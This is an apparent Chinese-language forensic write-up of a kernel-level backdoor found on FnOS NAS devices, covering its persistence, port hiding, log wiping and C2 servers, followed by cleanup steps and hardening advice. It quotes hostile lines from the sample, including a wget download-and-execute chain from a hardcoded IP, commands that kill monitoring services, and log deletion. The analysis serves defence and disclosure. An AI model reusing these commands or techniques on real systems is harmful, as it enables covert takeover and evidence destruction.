文章目录
- 飞牛 FnOS 定向攻击样本深度分析一次内核级后门植入与持久化控制的完整解剖
- 一、攻击概览：这不是普通木马
- 二、异常现象：不可删除的系统文件
- 三、双文件同哈希：自复制控制器
- 四、内核级后门：snd_pcap 模块
- 1. 可疑模块加载
- 2. 模块信息
- 五、trim_https_cgi：系统清道夫与下载器
- 六、网络控制节点（C2）
- 七、攻击链总结
- 八、修复与验证
- 1. 防火墙封锁
- 2. 清除模块
- 3. 修复启动项
- 4. 重启验证
- 九、系统级防护建议
- 十、结语
飞牛 FnOS 定向攻击样本深度分析一次内核级后门植入与持久化控制的完整解剖
摘要
本文记录了一起针对飞牛 FnOS NAS 系统的定向后门攻击事件。攻击者通过伪装成系统组件的二进制文件与内核模块，构建了一个具备内核态隐藏、系统级持久化、日志抹除、远控下载、服务劫持等能力的完整控制链。
本次分析不仅揭示了样本的运行机理，也暴露了当前定制 Linux NAS 生态在模块信任链、启动完整性、服务保护等方面的系统性缺陷。
一、攻击概览：这不是普通木马
从行为特征判断，这并非泛化传播的勒索或挖矿样本，而是：
- 定向针对 FnOS 内核与服务结构
- 拥有内核态驻留能力
- 具备服务持久化机制
- 可远程拉取任意二进制并执行
- 具备日志清除、痕迹抹除能力
这意味着：
攻击者已经具备持续控制你 NAS 的能力。
二、异常现象：不可删除的系统文件
第一异常来自文件系统属性：
lsattr -Ra /usr>attrgrep'\-i-'attr发现多个关键文件被设置为i（immutable）属性：
/usr/bin/nginx /usr/trim/bin/trim_https_cgi /usr/sbin/gots /etc/rc.local /etc/systemd/system/nginx.service /etc/systemd/system/trim_https_cgi.service即使 root 也无法删除，必须先执行：
chattr -i<file>这是一种典型的“持久化自保护”手段。
三、双文件同哈希：自复制控制器
/usr/bin/nginx与/usr/sbin/gots的 MD5 完全一致。
它们并非真正的 nginx，而是同一控制程序的多个伪装副本。
从字符串中可以看到：
pkill -f 'network_service|resmon_service' mv /usr/bin/cat /usr/bin/cat2 systemctl enable %s.service /etc/rc.local 45.95.212.102该程序具备以下能力：
| 功能 | 说明 |
|---|---|
| 命令劫持 | 替换系统 cat |
| 服务劫持 | 篡改 systemd service |
| 启动植入 | rc.local + service |
| 网络通信 | 固定 C2 地址 |
| 服务清洗 | 杀飞牛监控服务 |
四、内核级后门：snd_pcap 模块
1. 可疑模块加载
/etc/modules中多出：
snd_pcap飞牛官方镜像中不存在该模块。
2. 模块信息
modinfo snd_pcapfilename: snd_pcap.ko description: Save logs author: FnOS这是明显伪造字段，试图与官方模块风格保持一致。
该模块与用户态恶意程序协作，具备：
- 隐藏监听端口
- 干扰 lsof、fuser、ss 显示
- 屏蔽进程信息
这解释了为何：
ss -ntlp|grep57132LISTEN... -却无法定位进程。
五、trim_https_cgi：系统清道夫与下载器
该文件负责：
- 删除系统日志
- 清空 audit 记录
- 修改系统启动脚本
- 拉取远控二进制
wget http://151.240.13.91/turmp -O /tmp/turmp chmod 777 /tmp/turmp /tmp/turmp并清理：
/var/log/messages /var/log/audit/audit.log /usr/trim/logs/*.log这意味着：
系统所有取证线索都会被持续清除。
六、网络控制节点（C2）
| IP | 功能 |
|---|---|
| 45.95.212.102 | 控制/心跳 |
| 151.240.13.91 | 远程 Payload 下载 |
该样本并不绑定域名，直接硬编码 IP，说明攻击者：
- 预期长期控制
- 不在乎溯源
七、攻击链总结
内核模块 (snd_pcap) ↓ 隐藏监听端口 ↓ 用户态控制器 (gots/nginx) ↓ 服务劫持 + rc.local ↓ 日志清理 (trim_https_cgi) ↓ 远程拉取执行这是一个完整的内核级后门体系。
八、修复与验证
1. 防火墙封锁
ip daddr 45.95.212.102 drop ip daddr 151.240.13.91 drop2. 清除模块
rm-f /lib/modules/6.12.18-trim/snd_pcap.ko depmod -a3. 修复启动项
- 清理 rc.local
- 删除恶意 service
- 还原 system_startup.sh
4. 重启验证
- 模块是否重现
- 端口是否复活
- 启动脚本是否被篡改
九、系统级防护建议
| 项目 | 建议 |
|---|---|
| 内核模块 | 强制签名校验 |
| 启动完整性 | A/B 启动校验 |
| 服务保护 | systemd 完整性校验 |
| SSH | 禁止 root + 密码 |
| 防火墙 | nftables + 出站控制 |
| 日志 | 远程集中存储 |
| 入侵检测 | auditd + AIDE |
十、结语
这不是“中病毒”，而是被接管。
如果一个攻击者能在内核态隐藏自身、篡改系统服务、抹除日志、远控下载执行——
那么这台设备已经不再可信。
这次事件不是单点故障，而是整个定制 NAS 生态对安全架构的警告。
如果系统没有可信启动链，root 也只是“被允许存在”的用户。
本次对飞牛 FnOS 恶意程序的取证与逆向分析表明，这并不是普通的系统入侵或单一木马，而是一套具备内核态驻留、用户态控制、服务级持久化、日志抹除与远程下发执行能力的完整后门体系。攻击者通过伪装系统组件、篡改启动链、植入内核模块与隐藏监听端口，实现了对系统的长期隐蔽控制。从技术层面看，问题的根源并不只在样本本身，而在于 FnOS 现有架构缺乏模块信任校验、启动完整性保护与服务篡改检测机制。此次事件说明，定制 Linux 系统如果没有建立从内核到服务的安全信任链，即使拥有 root 权限，也无法真正掌控系统安全。
